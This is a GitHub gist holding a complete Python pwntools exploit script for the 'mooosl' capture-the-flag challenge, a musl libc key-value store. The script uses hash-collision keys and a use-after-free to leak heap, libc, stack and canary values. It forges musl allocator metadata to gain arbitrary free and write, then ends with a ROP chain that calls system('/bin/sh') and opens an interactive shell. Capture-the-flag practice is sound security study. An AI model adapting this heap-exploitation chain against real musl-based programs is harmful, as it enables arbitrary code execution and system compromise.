Created
May 2, 2021 22:52
-
-
Save hkraw/0a434ecfadcf63bada240aff011bd0e3 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from pwn import * | |
from binascii import hexlify, unhexlify | |
context.update(arch='amd64', os='linux') | |
# helpers | |
def store(key, keySize, value, valueSize): | |
io.sendlineafter('option: ','1') | |
io.sendlineafter('key size: ',str(keySize)) | |
if key: | |
io.sendlineafter('key content: ',key) | |
io.sendlineafter('value size: ',str(valueSize)) | |
io.sendlineafter('value content: ',value) | |
def query(keyContent, keySize): | |
io.sendlineafter('option: ','2') | |
io.sendlineafter('key size: ',str(keySize)) | |
if keyContent: | |
io.sendlineafter('key content: ', keyContent) | |
return io.recvline().split(b':') | |
def delete(keyContent, keySize): | |
io.sendlineafter('option: ','3') | |
io.sendlineafter('key size: ', str(keySize)) | |
if keyContent: | |
io.sendlineafter('key content: ',keyContent) | |
def hash(keyContent): | |
fhash = 0x7e5 | |
j = 0 | |
while(len(keyContent) > j): | |
f = (fhash * 0x13377331)&0xffffffff | |
fhash = f + ord(keyContent[j]) | |
j += 1 | |
return fhash | |
# struct | |
''' | |
struct block { | |
char* key; | |
char* value; | |
uint64_t keyLen; | |
uint64_t valueLen; | |
uint64_t hash; | |
struct block* next; | |
}; | |
''' | |
# offsets musl libc 2.31 ( ubuntu ) (╯°□°)╯︵ ┻━┻ | |
offset_libc_leak = 0xb7660 | |
environ = 0xb6d20 | |
malloc_secret = 0xb4ac0 | |
HASH_COLLISION_KEY1 = 'KH' | |
HASH_COLLISION_KEY2 = b'HH\xff\xe4' | |
gdbscript = ''' | |
source musl_gdb.py | |
# breakrva 0x2AB1B libc | |
# b malloc | |
# b free | |
# b calloc | |
continue | |
''' | |
# Expl | |
if __name__=='__main__': | |
if args.GDB: | |
io = gdb.debug('./mooosl', gdbscript=gdbscript) | |
else: | |
io = process('./mooosl') | |
#io = remote('mooosl.challenges.ooo', 23333) | |
store('LL',0x50,'A', 0x50) #1 | |
store('KH',0x50,'A'*0x2f,0x30) #2 | |
store('HH\xff\xe4',0x50, 'B', 0x30) #3 | |
delete('KH',0x40) | |
delete('HH\xff\xe4',0x40) | |
delete('LL',0x40) | |
store('HH\xff\xe4',0x50,p64(0)*2 + p64(0)*2 + p64(0x7e5),0x40) | |
store(None,0,'A',0x50) | |
store('\x26\x24\x21\x0b\xaa',0x6,'HK',0x40) | |
delete(None, 0) | |
delete('\x26\x24\x21\x0b\xaa',0x40) | |
delete('HH\xff\xe4',0x40) | |
store('AAAA', 0x30, 'BBBB', 0x30) | |
store('KKKK', 0x30, 'EEEE', 0x30) | |
store('FFFF', 0x300, 'PPPP', 0x300) | |
store('QQQQ', 0x10, p64(0)*2 + p64(0)*2 + p64(0x7e5), 0x30) | |
delete(None, 0) | |
for i in range(6): | |
store(f'OOOO{i}', 0x50, 'HH\xff\xe4', 0x50) | |
mmap_leak = u64(unhex(query('QQQQ',10)[1][0:16])) | |
libc_base = mmap_leak - offset_libc_leak | |
print(f'[*] MMAP Heap Leak: {hex(mmap_leak)}') | |
print(f'[*] Libc base: {hex(libc_base)}') | |
delete('OOOO5',10) | |
fake_block = [ | |
mmap_leak - 0x390, libc_base + environ, | |
4, 0x10, | |
hash('HH\xff\xe4') | |
] | |
query(flat(fake_block, arch='amd64'), 0x30) | |
stack_leak = u64(unhex(query('HH\xff\xe4',10)[1][:16])) | |
print(f'[*] Stack Leak: {hex(stack_leak)}') | |
store('KEKW',10,'KEKW',10) | |
delete('QQQQ',10) | |
fake_block_2 = [ | |
mmap_leak - 0x390, libc_base + malloc_secret, #arbitrary address ( delete / leak ) | |
4, 0x10, | |
hash('HH\xff\xe4') | |
] | |
store('QQQQ',0x10,flat(fake_block_2,arch='amd64'),0x30) | |
secret = u64(unhex(query('HH\xff\xe4', 10)[1][:16])) | |
print(f'[*] Malloc Secret: { hex(secret) }') | |
delete('QQQQ',10) | |
fake_block_3 = [ | |
mmap_leak - 0x390, libc_base + environ + 8, | |
4, 0x10, | |
hash('HH\xff\xe4') | |
] | |
store('QQQQ',0x10,flat(fake_block_3, arch='amd64'),0x30) | |
stack_canary = u64(unhex(query('HH\xff\xe4',10)[1][:16])) | |
print(f'[*] Canary: {hex(stack_canary)}') | |
delete('QQQQ',10) | |
fakeStruct_start = libc_base - 0x7000 + 0x20 | |
fakeArea_start = fakeStruct_start + (0x1000-0x20)#0xfe0 | |
fakeArea = flat([ | |
secret, 0, | |
0, | |
]) | |
def a_clz_32(n): | |
for i in range(31, -1, -1): | |
if n&(1<<i): | |
return i | |
size_classes = [ | |
1, 2, 3, 4, 5, | |
6, 7, 8, 9, | |
10, 12, 15, | |
18, 20, 25, 31, | |
36, 42, 50, 63, | |
72, 84, 102, 127, | |
146, 170, 204, 255, | |
292, 340, 409, 511, | |
584, 682, 818, 1023, | |
1169, 1364, 1637, 2047, | |
2340, 2730, 3276, 4095, | |
4680, 5460, 6552, 8191, | |
] | |
def size_to_class(n): | |
IB = 4 | |
n = (n+IB-1)>>4 | |
if n < 10: | |
return n | |
n += 1 | |
i = (28-a_clz_32(n))*4 + 8 | |
if n > size_classes[i+1]: | |
i += 2 | |
if n > size_classes[i]: | |
i += 1 | |
return i | |
fakeChunk_length = 0x60 | |
sc = size_to_class(fakeChunk_length) | |
fakeMeta_start = fakeArea_start + 0x100 | |
fakeGroup_start = fakeMeta_start + 0x100 | |
fakeGroup = flat([ | |
fakeMeta_start, 2 | |
]) | |
fakeMeta = flat([ | |
0, 0, | |
fakeGroup_start, 0, | |
4 | 1 << 5 | sc << 6 | |
]) | |
index = 1 | |
offset = size_classes[sc]*index | |
index = 5 << 5 | index | |
fakeUser_offset = offset*0x10 | |
fakeUser_start = fakeGroup_start + fakeUser_offset | |
fakeUserChunk = flat([ | |
0, p32(offset) + p8(0) + p8(index) + p16(offset), | |
b'\x00'*fakeChunk_length, | |
0, p32(fakeChunk_length) + p32(0) | |
]) | |
fakeStruct = flat({ | |
0xfe0: { | |
0x0: fakeArea, | |
0x100: fakeMeta, | |
0x200: fakeGroup, | |
0x200+fakeUser_offset: fakeUserChunk | |
} | |
# [ | |
# 0, 0xdc, #0x10 | |
# fakeStruct_start + 0x80, 0x0000c00000000000, #0x20 | |
# fakeStruct_start + 0xa0, 0x0000a00000000006, #0x30 | |
# b'A'*(0x7 * 8), 0,#0x70 | |
# b'A'*0x10, #0x80 | |
# 0, 0, | |
# fakeStruct_start + 0x10, 0, | |
# 0, 0, | |
# fakeStruct_start + 0x20 | |
# ] | |
},arch='amd64') | |
fake_block_2 = [ | |
mmap_leak - 0x390, fakeUser_start + 0x10, #arbitrary address to free | |
4, 0x10, | |
hash('HH\xff\xe4') | |
] | |
store('QQQQ',0x10,flat(fake_block_2,arch='amd64'),0x30) | |
print(f'[*] Fakearea : {hex(fakeArea_start)}') | |
print(f'[*] Fakemeta : {hex(fakeMeta_start)}') | |
print(f'[*] Fakegroup : {hex(fakeGroup_start)}') | |
print(f'[*] Fakechunk : {hex(fakeUser_start)}') | |
store('QQQE',0x10, fakeStruct, 0x2000 ) | |
delete('HH\xff\xe4', 10) # free fake chunk | |
# pause() | |
libc_malloc_replaced = libc_base + 0xB6F84 | |
target_addr = libc_malloc_replaced + 4 | |
fakeChunk_length = 0x60 | |
def craftFakeChunk(target_addr, padding_offset): | |
# fake chunk is returned in size 0x50 | |
delete('QQQE', 0x10) | |
sc = size_to_class(fakeChunk_length) | |
fakeMeta_start = fakeArea_start + 0x100 | |
fakeGroup_start = fakeMeta_start + 0x100 | |
fakeGroup = flat([ | |
fakeMeta_start, 2 | |
]) | |
index = 1 | |
avail_mask = 0xffffffff# ^ (1<<index) | |
fakeMeta = flat([ | |
0, 0, | |
target_addr - 0x10, p32(avail_mask) + p32(0), | |
4 | 1 << 5 | sc << 6 | |
]) | |
offset = size_classes[sc]*index | |
index = 5 << 5 | index | |
fakeUser_offset = offset*0x10 | |
fakeUser_start = fakeGroup_start + fakeUser_offset | |
fakeUserChunk = flat([ | |
0, p32(offset) + p8(0) + p8(index) + p16(offset), | |
b'\x00'*fakeChunk_length, | |
0, p32(fakeChunk_length) + p32(0) | |
]) | |
fakeStruct = flat({ | |
0xfe0: { | |
0x0: fakeArea, | |
0x100: fakeMeta, | |
0x200: fakeGroup, | |
0x200+fakeUser_offset: fakeUserChunk | |
} | |
}) | |
store('QQQE',0x10, fakeStruct[padding_offset:], 0x2000 ) | |
craftFakeChunk(target_addr, 0x10) | |
allocate = '1\n' + str(0x70)+'\n' + 'HK\n' + str(0x20000)+'\n' + 'HK\n' | |
remove = '3\n' + str(0x70)+'\n' + 'HK\n' | |
final = (allocate + remove) * 254 | |
io.send(final) | |
store('ASD', 0x10, '', fakeChunk_length) | |
target_addr = stack_leak - (0x118-0x70) - 0x10 | |
craftFakeChunk(target_addr, 0) | |
io.sendlineafter('option: ','2') | |
io.sendafter('key size: ', (str(fakeChunk_length).encode() + b'\x00').ljust(16, b'A')) | |
L_ROP = flat([ | |
libc_base + 0x152a1, #pop rdi ; ret | |
libc_base + 0xb21d7, #/bin/sh | |
libc_base + 0x00000000000152a2, # ret; | |
libc_base + 0x50a90 #system | |
]) | |
io.sendlineafter('key content: ', b'A'*8 + L_ROP) | |
io.sendline('echo HKHKHKHK') | |
io.recvuntil('HKHKHKHK\n') | |
io.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment